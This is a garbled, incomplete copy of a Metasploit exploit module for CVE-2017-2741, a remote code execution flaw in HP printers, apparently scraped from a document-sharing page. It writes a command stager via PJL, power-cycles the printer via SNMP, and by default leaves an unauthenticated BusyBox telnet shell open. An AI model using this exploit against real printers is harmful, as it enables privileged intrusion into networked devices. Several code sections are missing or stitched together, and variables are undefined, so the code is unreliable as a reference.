Académique Documents
Professionnel Documents
Culture Documents
Rank = NormalRanking
include Msf::Exploit::Remote::SNMPClient
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
Please read the module documentation regarding the possibility for leaving
an
unauthenticated telnetd service running as a side effect of this exploit.
},
'Author' => [
'Jacob Baines', # Python PoC
'Matthew Kienow <matthew_kienow[AT]rapid7.com>', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-2741' ],
[ 'URL', 'https://support.hp.com/lt-en/document/c05462914' ],
[ 'URL', 'http://tenable.com/blog/rooting-a-printer-from-security-
bulletin-to-remote-code-execution' ]
],
'Targets' => [
['Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd'
}
},
]
],
'Privileged' => true,
'DisclosureDate' => 'Apr 05 2017',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd',
'WfsDelay' => 180
}
))
register_options(
[
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
OptPort.new('SNMPPORT', [true, 'The SNMP port', 161])
]
)
end
begin
# use PJL to write command stager
print_status("Connecting to port #{rport}...")
pjl = Rex::Proto::PJL::Client.new(sock)
pjl.begin_job
pjl.fsinit(rpath[0..1])
pjl.end_job
rescue Rex::ConnectionError
print_error("Connection Refused")
raise
end
end
def restart_printer
pjl_port = datastore['RPORT']
snmp_port = datastore['SNMPPORT']
community = datastore['COMMUNITY']
# Printer MIB prtGeneralReset object identifier (numeric notation)
prt_general_reset = '1.3.6.1.2.1.43.5.1.1.3.1'
# prtGeneralReset powerCycleReset(4) value
power_cycle_reset = 4
begin
# TODO: Update when there is a clean approach to using two or more mixins
that both use RPORT.
datastore['RPORT'] = snmp_port
print_status("Connecting to SNMP port #{rport}...")
snmp = connect_snmp
if response.error_status == :noError
print_status("Set prtGeneralReset OID #{prt_general_reset} =>
#{power_cycle_reset}")
else
print_error("Unable to set prtGeneralReset; SNMP response error status:
#{response.error_status}")
end
rescue SNMP::RequestTimeout
print_error("SNMP request timeout with community '#{community}'")
raise
rescue SNMP::UnsupportedVersion
print_error("Unsupported SNMP version specified; use '1' or '2c'")
raise
rescue Rex::ConnectionError
print_error("Connection Refused")
raise
ensure
# restore original rport value
datastore['RPORT'] = pjl_port
end
end
def exploit
begin
opts = {
stager_script_name: "#{Rex::Text.rand_text_alpha(8)}.sh"
}
print_status("Exploiting...")
connect
if target.name =~ /Unix/
execute_command(payload.encoded, opts)
else
execute_cmdstager(opts)
end
restart_printer
return
ensure
disconnect
end
end
end